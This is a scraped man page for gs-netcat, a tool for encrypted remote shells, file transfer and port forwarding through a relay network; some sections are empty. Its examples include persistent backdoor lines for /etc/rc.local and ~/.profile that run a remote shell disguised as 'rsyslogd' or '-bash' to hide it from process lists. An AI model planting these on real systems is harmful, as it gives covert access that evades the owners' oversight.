|
NAMEgs-netcat —
transfer data, forward traffic and execute commands on a remote
host. Securely.
SYNOPSIS
DESCRIPTIONThegs-netcat utility is a re-implementation of netcat.
It allows two or more users to establish a secure TCP connection with each
other in a scenario where all users are behind NAT/Firewall and would not be
able to connect to each other directly. Typically a connection between one
workstation and another workstation on a different Local Area Network.
It uses the Global Socket Relay Network (GSRN) instead of direct TCP connections. Neither workstation needs to open a port in their firewall or accept incoming TCP connections. The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic. Common uses include:
OPTIONS
CONSOLEThe interactive login shell ( -i ) has a command console. Pressing ´Ctrl-e c´ (e for EEEElite) opens the command console. The command console displays the following information:
FILETRANSFERFile transfer is available from the command console. Files are transfered with the permission and modification timestamp unchanged. Partially transfered files are re-started where the transfer was left off.The 'put' command is used for uploading: put foobar.txt put $HOME/foobar.txt put /tmp/*.log put $(find. -type f -name
'*.c') (The above example shows Shell Variable substitution and word expansion) It is possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this: put /foo/./bar/baz.c That would create /tmp/bar/baz.c on the remote machine. The 'get' command is used for downloading: get foobar.txt get $(find /var/./ -name
'*.log') Transfering a directory automatically transfers all files and directories within that directory (recursively): get /var/log get / Multiple get/put commands can be scheduled at the same time. EXAMPLESExample 1 - Listen for a new connection using the
password ´MySecret´:
$ gs-netcat -s MySecret
-l Connect with client using the same password: $ gs-netcat -s MySecret
$ gs-netcat -s MySecret -l
-i Log in to server´s interactive shell: $ gs-netcat -s MySecret
-i
$ gs-netcat -s MySecret -l -e
´echo hello world; id; exit´ Connect client to the server: $ gs-netcat -s MySecret
$ gs-netcat -s MySecret -l -r
>warez.tar.gz Client to read ´warez.tar.gz´ and pipe it to the server. $ gs-netcat -s MySecret
<warez.tar.gz
$ gs-netcat -s MySecret -l
-S Client to listen on TCP port 1080 and forward any new connection to the server´s SOCKS server: $ gs-netcat -s MySecret -p
1080
$ gs-netcat -s MySecret -l -d
192.168.6.7 -p 22 Client to listen on TCP port 2222 and forward any new connection to the the server. The server then forwards the connection to 192.168.6.7:22. $ gs-netcat -s MySecret -p
2222 $ ssh -p 2222
root@127.0.0.1 The same using 1 command: $ ssh -o
ProxyCommand=´gs-netcat -s MySecret´ root@ignored
$ gs-netcat -s MySecret -l -e
/usr/lib/sftp-server The sftp-server binary speaks the sftp-protocol to stdin/stdout. The sftp binary also speaks sftp-protocol to stdin/stdout. The tool can be used to connect both via GSRN (encrypted) and access the SFTP server running on the server's side from the client via the GSRN (encrypted).: $ export GSOCKET_ARGS=´-s
MySecret´ $ sftp -D gs-netcat
$ (GSOCKET_ARGS="-s MySecret
-liqD" exec -a -bash gs-netcat) The following line in /etc/rc.local starts the backdoor after each system reboot: GSOCKET_ARGS="-s MySecret
-liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash"
/bin/bash -c "cd $HOME; exec -a rsyslogd
/usr/local/bin/gs-netcat" The follwing line in /etc/rc.local starts a port-forward to 127.0.0.1:22: GSOCKET_ARGS="-k MySecret2 -lqD
-d 127.1 -p22" /bin/bash -c "exec -a rsyslogd
/usr/local/bin/gs-netcat" The following line in the user´s ~/.profile starts the backdoor (once) when the user logs in. All in one line: killall -0 gs-netcat 2>/dev/null
|| (GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash exec -a -bash
/usr/local/bin/gs-netcat) The ´(...)´ brackets start a sub-shell which is then replaced (by exec) with the gs-netcat process. The process is hidden (as -bash) from the process list. Client to connect to the backdoor: $ gs-netcat -s MySecret
-i ENVIRONMENTThe following environment variables can be set to control the behavior ofgs-netcat
Specify the IP address of the TOR
server (or any other SOCKS server). Default is 127.0.0.1.
The port number of the TOR server (or
any other SOCKS server). Default is 9050.
A string containing additional
command line parameters. First the normal command line parameters are
processed and then the command line parameters from GSOCKET_ARGS. SECURITYPassing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:$ gs-netcat -k
<file> $ export GSOCKET_ARGS="-s
MySecret" $ gs-netcat
NOTESThe latest version is available from https://github.com/hackerschoice/gsocket/.SEE ALSOgsocket(1), gs-sftp(1), gs-mount(1), blitz(1), nc(1), socat(1)BUGSEfforts have been made to havegs-netcat "do the
right thing" in all its various modes. If you believe that it is doing
the wrong thing under whatever circumstances, please notify me
(skyper@thc.org) and tell me how you think it should behave.
Visit the GSP FreeBSD Man Page Interface. |